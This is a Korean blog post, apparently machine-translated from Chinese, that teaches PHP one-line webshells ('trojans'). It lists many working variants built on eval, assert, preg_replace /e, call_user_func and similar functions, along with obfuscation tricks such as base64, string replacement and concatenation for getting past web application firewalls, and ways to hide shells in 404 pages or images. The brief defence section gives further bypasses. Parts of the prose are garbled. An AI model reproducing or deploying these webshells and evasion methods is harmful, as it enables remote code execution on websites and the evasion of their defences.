일, 무슨 말이 목마냐?
한마디로 목마는 한 줄만 필요하다코드의 목마는 한 줄의 코드만으로도 말과 비슷한 기능을 할 수 있다.waf 검출을 우회하기 위해 한 마디로 목마가 무수히 변형됐지만 본질은 변하지 않았다:목마의 함수는 우리가 보낸 명령을 실행했다.
2. 우리가 어떻게 명령을 보내는지, 보낼까?보낸 명령은 어떻게 집행합니까?
저희가 GET, P를 통해서OST, COOKIE 이 세 가지 방식으로 하나의 사이트에 데이터를 제출합니다. 한마디로 목마는 $_GET['], $_POST[''], $_COOKIE['']로 우리가 전달한 데이터를 수신하고 수신한 데이터를 전달합니다.한마디로 목마에서 명령을 실행하는 함수, 나아가 명령을 실행하는 것이다. 그래서 목마는 대개 두 가지 부분만 있는데 하나는 코드를 실행할 수 있는 함수 부분이고 하나는 데이터를 받는 부분입니다.
0.eval 함수
<?php eval($_POST['a']) ?>
여기서 eval은 명령을 실행하는 함수이고, **$_POST['a']**는 수신된 데이터이다.eval 함수는 수신된 데이터를 PHP 코드로 실행한다.이렇게 하면 과거 우리가 전달했던 임의의 PHP 문구를 목마가 삽입된 사이트에서 실행할 수 있다.한마디로 목마의 강점이다.
목마는 post 요청 중 "a"의 데이터를 수신하기 때문에($_POST['a']), 우리는 post 방식으로 데이터를 전송하고 우리가 실행할 코드를 "a"에 할당해야 한다.목마의 포스트를 get으로 대체하면 나는 GET 방법으로 "a"를 보내야 한다.
다른 함수를 이용하여 한 마디의 목마를 만든다.
1.assert 함수
<?php assert(@$_POST['a']); ?>
2.create_function 함수
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
사용자가 전달한 데이터를 fun() 함수 생성하기 전에 fun()
3. call_user_func 콜백 함수
<?php
@call_user_func(assert,$_POST['a']);
?>
call_user_func라는 함수는 다른 함수를 호출할 수 있는데, 호출된 함수는 call_user_func의 첫 번째 함수이고 호출된 함수의 인수는 call_user_func의 두 번째 인수이다.
이런 말 하나만으로도 목마 한마디가 완성된다.waf가 가로채는 목마는 이 함수에 맞춰 waf를 우회할 수 있다.
4.preg_replace 함수
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
이 함수는 원래 정규 표현식을 이용하여 조건에 맞는 문자열을 대체하는데, 이 함수는 명령어를 실행할 수 있는 기능을 가지고 있습니다.
이 함수의 첫 번째 인자는 정규 표현식이며, PHP의 형식에 따라 두 개의 "/" 사이에 표현식이 있다.만약 우리가 이 시계에 있다면달식의 끝에 'e'가 붙으면 이 함수의 두 번째 파라미터가 코드로 실행된다.
5. file_put_contents 함수
함수를 이용하여 목마를 생성하다
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
함수 기능: 첫 번째 인자는 파일 이름, 두 번째 인자는 파일 내용입니다.
6.array 배열
<?php
$a='assert';
array_map("$a",$_REQUEST);
?>
상기 정의 파라미터 a와 함께 'assert'를 부여하고 실행문을 array_map() 함수를 이용하여 스플라이싱한다.최종적으로 assert($_REQUEST)를 실현한다.
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["TEST"]);
?>
함수의 조합 효과를 이용하여 여러 개의 인수가 전달된 후에 하나의 명령으로 조합되어 실행되도록 한다
7.PHP 변수 함수
<?php
$a = "eval";
$a(@$_POST['a']);
?>
세 번째 줄에는 변수 함수 $a를 사용하고, 변수는 함수명 eval을 저장하면 함수명 대신 변수를 사용할 수 있다.
3. 어떻게 말 한마디가 waf를 우회하게 할 수 있을까?
waf는 사이트의 방화벽. 예를 들어 보안견이 waf의 일종이다.waf는 통상 키워드로 한 문장인지 아닌지를 판단한다말목마, 그러나 말 한마디에 목마의 변형은 여러 가지가 있다.waf가 모두 차단하는 것은 불가능하다.waf를 우회하기 위해서는 다양한 PHP 스킬을 익혀야 하는데, 스킬이 많아지면 스킬을 결합해 나만의 말 한마디의 목마를 디자인해야 한다.
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
이 문장을 보면 $aa = (((aa) = $ ('bb') = $bb = "eval"이라는 위 문구를 이해할 수 있다.
3.str_replace 함수
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
함수 기능: 세 번째 매개 변수에서 첫 번째 매개 변수를 찾고 두 번째 매개 변수로 대체합니다.여기서 두 번째 파라미터는 빈 문자열로 'Waldo'를 삭제하는 것과 같다.
4. base64_decode 함수
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
여기서 base64 복호화 함수이며, 'ZXZhbA=='는 eval의 base64 암호화이다.
5."."연산자
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
6.parse_str 함수
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
이 함수를 실행하면 문자열 "eval" 의 변수 $a 를 생성합니다.
7.데이터 소스 교체
7.1GET 편
<?php $_GET[a]($_GET[b]); ?>
<?php @eval( $_GET[$_GET[b]])>
이용방법:
b=cmd&cmd=phpinfo()
7.2 <? 대신 script를 이용한다. ·?>라벨
<script language="php">@eval_r($_GET[b])</script>
8.문자 대체 또는 특수 인코딩
9.목마가 숨다
1.404 페이지
2.그림 목마, 파일 포함 호출
사. 총결산
바이패스 기술:
실행 데이터 원본 바꾸기
문자 바꾸기 또는 인코딩
은닉 수단을 취하다
tips : 말 한마디로 목마를 사용할 때함수 앞에 '@' 기호를 붙일 수 있습니다.php 문장이 틀리지 않도록 하기정보를 잘못 알려 은폐성을 높이다.
5. 방어
1.assert() 함수 비활성화, eval() 모니터링
2. 검색 로그의 assert.
우회할 수도 있습니다.
<?php $c=$_GET[n].'t';
@$c($_POST[cmd]);
?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';
@$c($_POST[cmd]);
?>
'개발 꿀팁 > PHP' 카테고리의 다른 글
php학습 --- php실현 인증코드(1) (0) | 2022.06.29 |
---|---|
윈도 xp에 php 개발 환경 구축 (0) | 2022.06.29 |
PHP는 Mysql에 연결하여 기본적인 추가, 삭제, 변경, 조사-사용자 관리 시스템 구현 (0) | 2022.06.28 |
php 하층 작동 메커니즘과 원리 (0) | 2022.06.28 |
php7과 php5 대비 (0) | 2022.06.28 |